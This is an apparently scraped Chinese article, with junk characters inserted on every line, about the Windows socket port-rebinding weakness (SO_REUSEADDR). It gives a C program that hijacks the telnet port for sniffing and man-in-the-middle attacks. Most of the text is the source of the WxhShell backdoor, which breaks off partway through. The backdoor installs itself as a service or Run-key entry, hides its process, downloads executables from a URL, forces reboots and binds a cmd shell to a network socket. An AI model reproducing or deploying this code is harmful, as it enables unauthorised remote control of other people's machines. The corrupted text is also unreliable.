在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WZ-s--n# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$:=A'd2 B -?6M6# saddr.sin_family = AF_INET;
V/%>4GYnC oibsh(J3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
oI0M%/aM G"-?&)M#a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(7mAt3n
k aXQnZ+2e^R 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
d?s<2RkPT ~ZmN44?R 这意味着什么?意味着可以进行如下的攻击:
`>7;! b(*!$EB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;;_,~pI?k N+m)/x
=: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=}lh_ MuYk};f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Pj#<K%Bz NTdixfR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(_niMQtF} \a 5U8shc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]9YJ,d@J $yn];0$J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)<oJnxe] 3)F|*F3R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=!kk|_0%E M`. tf_x #include
!S^AgZ~ #include
G<At_YS #include
0C =3dnp6 #include
v/Py"hQ DWORD WINAPI ClientThread(LPVOID lpParam);
1{r3#MVL int main()
-(~.6WnhS {
[="e
ziM{ WORD wVersionRequested;
h hG4-HD DWORD ret;
zO~8?jDN4| WSADATA wsaData;
]p _L) BOOL val;
ta35 K" SOCKADDR_IN saddr;
DwaBdN[!7 SOCKADDR_IN scaddr;
OglEt[ " int err;
n)L* SOCKET s;
X>d"]GD SOCKET sc;
Q;[,Q~c[u int caddsize;
`e(c^ z# HANDLE mt;
P?8GV%0$ DWORD tid;
H;?{BV wVersionRequested = MAKEWORD( 2, 2 );
'{a/2
l err = WSAStartup( wVersionRequested, &wsaData );
)LdP5z- if ( err != 0 ) {
%@wJ`F2a_ printf("error!WSAStartup failed!\n");
)jU)_To return -1;
k&&2Tq }
}O/U;4Z saddr.sin_family = AF_INET;
=q>'19^Jx bHPYp5UwN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;'?l$
._ V `b2TS saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?p9VO.^5 saddr.sin_port = htons(23);
~"!]
3C,L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*'OxAfa#x {
u}>#Eb printf("error!socket failed!\n");
&+a9+y
return -1;
Fgk ajig }
6FUw"|\u{ val = TRUE;
N96jJk //SO_REUSEADDR选项就是可以实现端口重绑定的
~Fe${2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)i~cr2Hk {
~J5+i9T.) printf("error!setsockopt failed!\n");
1q~+E\x return -1;
0]>u)% }
+!k&Yje //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O?NeSx1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
S\''e`Eb"5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8MK>)P o) l\BVS) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
p`mS[bxv! {
~3UQ|j ret=GetLastError();
{p)",)td printf("error!bind failed!\n");
#,S0HDDHn return -1;
P::TO-C }
9iXeBC listen(s,2);
G3{Q"^S" while(1)
aHs^tPg {
mYxuA0/k caddsize = sizeof(scaddr);
oE<`VY| //接受连接请求
X-
pqw~$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
W!%]_I!&K if(sc!=INVALID_SOCKET)
` BDLW%aL {
0n@rLF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#%`|~%`{: if(mt==NULL)
9)0D~oUi {
v$~QU{& printf("Thread Creat Failed!\n");
?;KKw* break;
lwHzj&/ ~ }
+)k b( }
UUSq$~Ct CloseHandle(mt);
u*e.yN }
i#7DR>XF/ closesocket(s);
WF2}-NU" WSACleanup();
BsBK@+ZyI return 0;
{xwm^p(f }
2uG0/7 DWORD WINAPI ClientThread(LPVOID lpParam)
l-K9LTd {
cYFiJJLG] SOCKET ss = (SOCKET)lpParam;
j H19k}D SOCKET sc;
Acnl^x7Y1 unsigned char buf[4096];
f_[<L SOCKADDR_IN saddr;
q:l>O5 long num;
L/wD7/ODr DWORD val;
e@c0WlWa DWORD ret;
\x)n>{3C //如果是隐藏端口应用的话,可以在此处加一些判断
c#a@n 4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
anIAM saddr.sin_family = AF_INET;
E8>Rui@9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6726ac{xz saddr.sin_port = htons(23);
cS>e? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^9^WuSq {
&@%W29: printf("error!socket failed!\n");
UH]l9Aq$P return -1;
TS /.`.gT }
KQacoUHrK? val = 100;
e:DkGy`-s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{8 8 )~ {
/[O(ea$U ret = GetLastError();
Fkvl%n return -1;
J%x6 }
RMX:9aQ3F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}MRd@ 0-?! {
8dV=[+ ret = GetLastError();
_Xn qb+ return -1;
3mYiQ2 }
^
s1Q*He if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}-ftyl7 {
`jzTmt printf("error!socket connect failed!\n");
)_{dWf1 closesocket(sc);
"5;;)\o~ closesocket(ss);
h]og*( return -1;
f>aEkh6u9 }
jZh';M8" while(1)
;FBUwR} {
R16'?, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XpmS{nb //如果是嗅探内容的话,可以再此处进行内容分析和记录
bA=
|_Wt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(:._"jp] num = recv(ss,buf,4096,0);
0dhF&*h|L if(num>0)
ktj]:rCkF send(sc,buf,num,0);
CK:y? else if(num==0)
KC(xb5x
Y break;
NLS%S q num = recv(sc,buf,4096,0);
/3eKN if(num>0)
8CnRi send(ss,buf,num,0);
an4GSL else if(num==0)
s4 6}s{6 break;
=:D aS`~V }
-QOw8vm closesocket(ss);
{LX.iH9}l closesocket(sc);
[QMu2 return 0 ;
Sl-v W }
4Fp0ZVT &C_'p {G ~vXaqCX ==========================================================
4D['^q =Vy`J)z9 下边附上一个代码,,WXhSHELL
Yu?95qk tP <,3^|$c% ==========================================================
%6L^2
X b8LoIY* #include "stdafx.h"
fQL"O}Z g0>,%b #include <stdio.h>
e?_@aa9~@{ #include <string.h>
WA]c=4S #include <windows.h>
]Tkc-ez #include <winsock2.h>
N-I5X2 #include <winsvc.h>
T%6&PrQ7 #include <urlmon.h>
A;/-u<f ?shIj;c[ #pragma comment (lib, "Ws2_32.lib")
pX&pLaF #pragma comment (lib, "urlmon.lib")
!PrwH; }e2(T #define MAX_USER 100 // 最大客户端连接数
PUo/J~ v #define BUF_SOCK 200 // sock buffer
p3]_}Y
D[# #define KEY_BUFF 255 // 输入 buffer
#+$G=pS'v ?*?RP)V #define REBOOT 0 // 重启
S/Fkw4% #define SHUTDOWN 1 // 关机
2>86oP& mjWU0Gh%* #define DEF_PORT 5000 // 监听端口
yHHt(GM|o #{k|I$ #define REG_LEN 16 // 注册表键长度
f>piHh? #define SVC_LEN 80 // NT服务名长度
h3*Zfl<] 3pK*~VK // 从dll定义API
L:_bg8eD# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
u:m]CPz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z9575CI< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9:`(Q3Ei typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*Ho/ZYj3 (T!9SU // wxhshell配置信息
BNd^qB ? struct WSCFG {
kGd<5vCs int ws_port; // 监听端口
fO0(Z char ws_passstr[REG_LEN]; // 口令
F1jglH/MF) int ws_autoins; // 安装标记, 1=yes 0=no
+n<k)E@>J char ws_regname[REG_LEN]; // 注册表键名
]%BWIqbr char ws_svcname[REG_LEN]; // 服务名
R2(3>`FJ char ws_svcdisp[SVC_LEN]; // 服务显示名
S,<EEtXQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
UJfEC0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
YqPQ%
int ws_downexe; // 下载执行标记, 1=yes 0=no
;]gP@ h/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
uiJS8(Cb char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-RS7h JJ{9U(`_y6 };
@+9<O0 (9<guv // default Wxhshell configuration
:um|nRwy9 struct WSCFG wscfg={DEF_PORT,
E<C&Cjz:H "xuhuanlingzhe",
G:pEE:W[ 1,
\3'9Uz,OC "Wxhshell",
hSFn8mpXT "Wxhshell",
Y`o+XimX "WxhShell Service",
/9zE^YcT "Wrsky Windows CmdShell Service",
ep=qf/vd< "Please Input Your Password: ",
C4hx@abA 1,
MXzVgy "
http://www.wrsky.com/wxhshell.exe",
QHWBAGA "Wxhshell.exe"
UTf9S>HS };
3,]gEE3 srYJp^sC // 消息定义模块
8me ]JRw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9*E7}b, char *msg_ws_prompt="\n\r? for help\n\r#>";
,RgB$TcE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:^Fh!br== char *msg_ws_ext="\n\rExit.";
oyNSh8c7c char *msg_ws_end="\n\rQuit.";
C_4)=#@GU char *msg_ws_boot="\n\rReboot...";
+ +aL4: char *msg_ws_poff="\n\rShutdown...";
)u/H>;L P char *msg_ws_down="\n\rSave to ";
2*N_5&9mE OM|Fwr$ char *msg_ws_err="\n\rErr!";
.Wq@gV char *msg_ws_ok="\n\rOK!";
K"b`#xN(t ZR$'u%+g' char ExeFile[MAX_PATH];
Yr w$ int nUser = 0;
?W0)nQU HANDLE handles[MAX_USER];
^':!1 int OsIsNt;
j:,NE(DF + J{0 E SERVICE_STATUS serviceStatus;
+=]!P# SERVICE_STATUS_HANDLE hServiceStatusHandle;
cuK,X!O zCOgBT~p // 函数声明
,SQZD,3v4 int Install(void);
YKbaf(K)9 int Uninstall(void);
P%#*-zCCx int DownloadFile(char *sURL, SOCKET wsh);
Vpr/ int Boot(int flag);
z81esXl void HideProc(void);
fx@j?*Qb int GetOsVer(void);
+8v9flh int Wxhshell(SOCKET wsl);
= <j"M85. void TalkWithClient(void *cs);
N gLU$/y; int CmdShell(SOCKET sock);
_=q!
BW int StartFromService(void);
wtT}V=_ int StartWxhshell(LPSTR lpCmdLine);
H)aQ3T4N5 etoo
#h"]1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kl"+YF5/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
4n
%?YQ[t kKPi:G52F // 数据结构和表定义
W`"uu.~f SERVICE_TABLE_ENTRY DispatchTable[] =
+uBLk0/)> {
2_ :n {wscfg.ws_svcname, NTServiceMain},
P\]B< {NULL, NULL}
70lfb` };
$t5V=}m> P
i Fm| // 自我安装
Fbu5PWhlc int Install(void)
RN)dS>$ {
3SSm5{197 char svExeFile[MAX_PATH];
.e'eE HKEY key;
6Z`R#d #I strcpy(svExeFile,ExeFile);
Cn>ADWpT& k^ YO%_ // 如果是win9x系统,修改注册表设为自启动
<5G{"U+ \ if(!OsIsNt) {
.`7cBsXH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d/}SAvtt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[HN|\afz RegCloseKey(key);
*26334B.R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0W3i() RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>(y<0
RegCloseKey(key);
gtYAHi return 0;
`\X+ Ud| }
>Bs#Xb_B] }
S}f?.7 }
=CL}
$_ else {
1yV: qp wZ4tCZA // 如果是NT以上系统,安装为系统服务
sz @p_Z/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
A<\JQ if (schSCManager!=0)
A/7X9ir {
(_4;') 9 SC_HANDLE schService = CreateService
H"Klj_<dH0 (
tX!nsm1 schSCManager,
*xE,sj+( wscfg.ws_svcname,
>|6iR%"f# wscfg.ws_svcdisp,
U:MPgtwe SERVICE_ALL_ACCESS,
G60R9y47c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ork=`}; SERVICE_AUTO_START,
AW#<i_Ybf SERVICE_ERROR_NORMAL,
Z4){
7|~a svExeFile,
t8+_/BXv NULL,
4lqH8l. NULL,
6l$L~> NULL,
lCF`*DM# NULL,
`xiCm': NULL
6{,HiY );
En&5)c+js4 if (schService!=0)
k'$!(*]\b {
bln/1iS CloseServiceHandle(schService);
q~L^au8 CloseServiceHandle(schSCManager);
w_ {,<[# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~Ph\Sbp strcat(svExeFile,wscfg.ws_svcname);
0aoHKeP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v+e|o:o# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9S[XTU RegCloseKey(key);
>a1{397Y} return 0;
;.wX@ }
QRLJ_W^&u }
)RYG% CloseServiceHandle(schSCManager);
bS
>0DU }
5'w^@Rs5 }
/%4_-C pm 5j0{p$'9 return 1;
W23]Bx }
BZb]SoAL n,~;x@=5 // 自我卸载
!GW,\y int Uninstall(void)
aZKOY {
r-kMLw/)
HKEY key;
GHF_R,7 o$C|J]% if(!OsIsNt) {
?R-9W+U%f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qzFQEepso RegDeleteValue(key,wscfg.ws_regname);
NNG}M(/V RegCloseKey(key);
T@%m7 |P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e4I^!5)N RegDeleteValue(key,wscfg.ws_regname);
O+=vEp( RegCloseKey(key);
-Q;#sJ? return 0;
+>7$4`Nb2 }
Y${l!+q }
O[9-:,B{w }
}j1!j&& else {
IMnP[WA! ec Oy6@UDY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
d7cg&9+ if (schSCManager!=0)
!3oKmL5 {
$KjTa#[RX7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
kCUT ^ if (schService!=0)
w62=06`@ {
Q,Z*8FH= if(DeleteService(schService)!=0) {
`(0LK%w CloseServiceHandle(schService);
bXYA5wG CloseServiceHandle(schSCManager);
h{lDxOH* return 0;
44\>gI< }
7@a 0$coP CloseServiceHandle(schService);
`>D9P_Y"jI }
7%OKH<i\2< CloseServiceHandle(schSCManager);
9Q W&$n^ }
kC$&:\Rh }
u)Q;8$` )a=/8ofe return 1;
^D@b;EyK }
^*R(!P^ FVF-:C // 从指定url下载文件
8*g ^o\M int DownloadFile(char *sURL, SOCKET wsh)
t ]c{c#N/ {
Io2mWvu?5 HRESULT hr;
E?PGu!&u char seps[]= "/";
.Qt4&B char *token;
PiLJZBUv char *file;
7:h!Wj-a] char myURL[MAX_PATH];
,J mbqOV?! char myFILE[MAX_PATH];
`-B+JQmen Q\{x)|{$ strcpy(myURL,sURL);
&"uV~AM token=strtok(myURL,seps);
\'19BAm' while(token!=NULL)
{+("C]
b {
4ZT A> file=token;
y?30_#[dN token=strtok(NULL,seps);
L6
6-LMkH }
+TN9ujL6@ SQE[m9v GetCurrentDirectory(MAX_PATH,myFILE);
,6<" strcat(myFILE, "\\");
(}!C4S3# strcat(myFILE, file);
(#(Or send(wsh,myFILE,strlen(myFILE),0);
lS{r=y_0. send(wsh,"...",3,0);
kvsA]tK. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
v7trr W} if(hr==S_OK)
{bF1\S]2 return 0;
0)uYizJce else
Y9 r3XhVI return 1;
}bB`(B,m h3u1K>R) }
]_*S~'x =lr) gj // 系统电源模块
K.>wQA& int Boot(int flag)
-ewQp9)G {
@?B6aD|jE HANDLE hToken;
Q^eJ4{Ya: TOKEN_PRIVILEGES tkp;
oB c@]T5> e[Xq if(OsIsNt) {
KSs 1CF'i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m8R=?U~!S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4cCF\&yU tkp.PrivilegeCount = 1;
O>DNC-m)i{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=~FG&rk^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(N~$x if(flag==REBOOT) {
){Mu~P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
SKXBrD=- return 0;
x.DzViP/ }
ro| vh\y else {
I#A2)V0P) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(!K+P[g return 0;
NVIWWX9? }
c^I0y! }
#]KgUc5B else {
8IY19>4'5J if(flag==REBOOT) {
yOHXY& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K <`>O,
F return 0;
A{,n;; }
'Am- vhpm else {
rjojG59U> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'u[%}S38 return 0;
;\b@)E} }
L&w.j0fq }
=_=*OEgO] *:_~Nn9_R; return 1;
W=-|` }
OHp5z?
z R"6;NPeo // win9x进程隐藏模块
2z2` void HideProc(void)
|w)5;uQ&\ {
J=WB6zi setLdEi HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
o$_93<zc if ( hKernel != NULL )
cqL(^R. {
z?.(3oLT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^)\+l%M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`ti8- FreeLibrary(hKernel);
delf
] }
r4knN
2: VQ
|^
return;
p!"(s/= }
9R]](g# $iMC/Kym // 获取操作系统版本
+g\;bLT int GetOsVer(void)
WfVMdwz= {
D\rmaF+ OSVERSIONINFO winfo;
xks?y.wA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zNtq"T [ GetVersionEx(&winfo);
VuWib+fT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}C~]=Z return 1;
fD6GQ* else
emWGIo return 0;
q.oLmX }
@FX{M.. %!W%#U0 // 客户端句柄模块
pieT'mA int Wxhshell(SOCKET wsl)
E <@\>y.[ {
.hz2&9Ow SOCKET wsh;
!Cb=B struct sockaddr_in client;
nxRwWj57 DWORD myID;
@ ^.*$E5 ,/o(|sks while(nUser<MAX_USER)
/t{=8v~ {
\|q-+4]@, int nSize=sizeof(client);
A@ VaaX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@l>Xnqx) if(wsh==INVALID_SOCKET) return 1;
8R/
*6S=& 7*'@qjTos handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
( pD7 if(handles[nUser]==0)
vgk9b!Xd closesocket(wsh);
8eX8IR!K9 else
05)|"EX) nUser++;
e[4V%h }
Yo'K pdn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(T;9us0 1ih* gJPpj return 0;
nLd~2qBuv }
&z ksRX 5P\N"Yjx' // 关闭 socket
Zz")`hUG void CloseIt(SOCKET wsh)
tp+=0k2i {
<IH*\q:7 closesocket(wsh);
22vq=RO7Z nUser--;
a|.20w5 ExitThread(0);
Wm>b3: }
Q7k.+2 QNJ\!+,HV // 客户端请求句柄
#JS`e_3Rr void TalkWithClient(void *cs)
SsRVd^=;x {
JN^bo(kb k /^g* SOCKET wsh=(SOCKET)cs;
j |td,82. char pwd[SVC_LEN];
5B|,S1b char cmd[KEY_BUFF];
2FT-}w0; char chr[1];
AfE%a-;: int i,j;
b7v dk G+C}<S} while (nUser < MAX_USER) {
n_;S2KM 'z](xG< if(wscfg.ws_passstr) {
DPeVKyjU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{rfte'4;= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y- ~;E3( //ZeroMemory(pwd,KEY_BUFF);
GC?S];PL i=0;
bX&e_Pd while(i<SVC_LEN) {
T/Q==Q{W: "G kI5! // 设置超时
NDW8~lkL fd_set FdRead;
Lupy:4AD struct timeval TimeOut;
Xq%*#)M; FD_ZERO(&FdRead);
O\JD, w FD_SET(wsh,&FdRead);
{9;eH'e TimeOut.tv_sec=8;
>]?Jrs TimeOut.tv_usec=0;
oT!/J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:p$EiR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
D"`[6EN[ NxB+? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*o2#eI pwd
=chr[0]; -fQX4'3R
if(chr[0]==0xd || chr[0]==0xa) { 4@/z
pwd=0; $owb3g(%4
break; /.)2d8,
} )-)pYRlO
i++; u#!GMZJN
} H9:%6sds
8 >dq=0:
// 如果是非法用户,关闭 socket q xSs
~Qc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OaNc9c"
} "B?R|
Xg
D{W
SKn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Mx.:.A&$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Q3, bj
%xpd(&)n
while(1) { Yg|"-
\N yr=<c
ZeroMemory(cmd,KEY_BUFF); AtT"RG-6
9nO(xJ"e4
// 自动支持客户端 telnet标准 7y>(H<^>
j=0; pMDH
while(j<KEY_BUFF) { {70Ou}*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~K%k
0kT
cmd[j]=chr[0]; 1V0sl0i4
if(chr[0]==0xa || chr[0]==0xd) { c+wuC,
cmd[j]=0; WN1Jm:5YV
break; >F~ITk5`Oo
} K7S754m
j++; O&52o]k5l
} d["x=
[f
]qMH=>pOsj
// 下载文件 )*Vj3Jx
if(strstr(cmd,"http://")) { Tfr`?:yF
send(wsh,msg_ws_down,strlen(msg_ws_down),0); C|9[Al
if(DownloadFile(cmd,wsh)) j7,13,t1-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (<
:mM
else U(P:J e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z$1.^H.Db
} )ph30B
else { e7lo!(>#
@OY1`EuO
switch(cmd[0]) { XnPJC'
(;C$gnr.C
// 帮助 qT"drgpi3
case '?': { k+f1sV[4}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :wSJ-\'$
break; x<Iy<v7-
} Oe/73|
>U
// 安装 :ao^/&HZ
case 'i': { 5"$e=y/
if(Install()) cl@kRX<7'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9F" F
else 3>H2xh 3Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tw}@+-
break; j/~VP2R`
} vNPfUEnA
// 卸载 4+-5,t7
case 'r': {
v*smI7aH
if(Uninstall()) "IOC[ #&G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )nJzSN=>$
else o@Scz!"g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U.Pa7tn
break; D xe-XKNc.
} -|6V}wHg~
// 显示 wxhshell 所在路径 KBd7|,j
case 'p': { 0&.LBv8
char svExeFile[MAX_PATH]; zoR,RBU6
strcpy(svExeFile,"\n\r"); CQj/e+eE4
strcat(svExeFile,ExeFile); x`Vy<h 33
send(wsh,svExeFile,strlen(svExeFile),0); 4u@yJ?U
break; (6e!09P&
} 9qnuR'BDu
// 重启 Tavtr9L0XY
case 'b': { TlM'g6SQS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ) )fDOJ
if(Boot(REBOOT)) dko [
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZYrKG+fkl
else { XCW+ pUX
closesocket(wsh); ( P
ExitThread(0); v!nm
&"
} N-]\oMc2
break; N9`y,Cos0
} X@i+&Nv"<
// 关机 rat=)n)"t
case 'd': { 'Na|#tPYI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (qNco8QKu3
if(Boot(SHUTDOWN)) Up_>y>x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ngn\nkf
else { ;Gjv9:hUn
closesocket(wsh); jB*9 !xrd,
ExitThread(0); 2qt=jz\s
} qPp1:a"
break;
Tbe_xs^
} 7yo|ie@S
// 获取shell 1-4
case 's': { e_YW~z=6t
CmdShell(wsh); ]R97n|s_
closesocket(wsh);
=~,$V<+c
ExitThread(0); %{N>c:2I$
break; Rh!L'?C
} emGV]A%nss
// 退出 xmCm3ekmpC
case 'x': { $ iX^p4v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oc!biE`u
CloseIt(wsh); #N<s^KYG-
break; }T?i%l
} >:3xi{
// 离开 Ej;Vr~Wi
case 'q': { ##SLwrg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $xKg }cO
closesocket(wsh); i n[n Aa
WSACleanup(); }`+O$0A
exit(1); [d!Af4
break; VZUZngw
} D<+ bzC
} E#yCcC!wMY
} [X0k{FR
uYG #c(lc
// 提示信息 )_Z]=5Ds
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9OrA9r
} FE$M[^1_
} 9$B)hrJo
-~QlHp&SY
return; f 3nnXE"
} A5 &>!y
<) >gg!
// shell模块句柄 |[lxV&SD.
int CmdShell(SOCKET sock) v*vub#wP
{ D'HL /[@`
STARTUPINFO si; ` 4s#5g
ZeroMemory(&si,sizeof(si)); (.jO:#eE%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z|t.y.JX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;j[q?^ b
PROCESS_INFORMATION ProcessInfo; 7)ES!C
char cmdline[]="cmd"; :X1`wBu
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -ucz+{
return 0; <MI$Nl
} "B_5Y&pM`
Zq2H9^![y~
// 自身启动模式 g7E`;&f
int StartFromService(void) ONg<
{ oT9XJwqnv
typedef struct +iZ@.LI
{ UgOGBj,&5W
DWORD ExitStatus; pn ~/!y
DWORD PebBaseAddress; HQ-N!pf9
DWORD AffinityMask; ];YglHH
DWORD BasePriority; "GIg|3
ULONG UniqueProcessId; [4V|UvKz
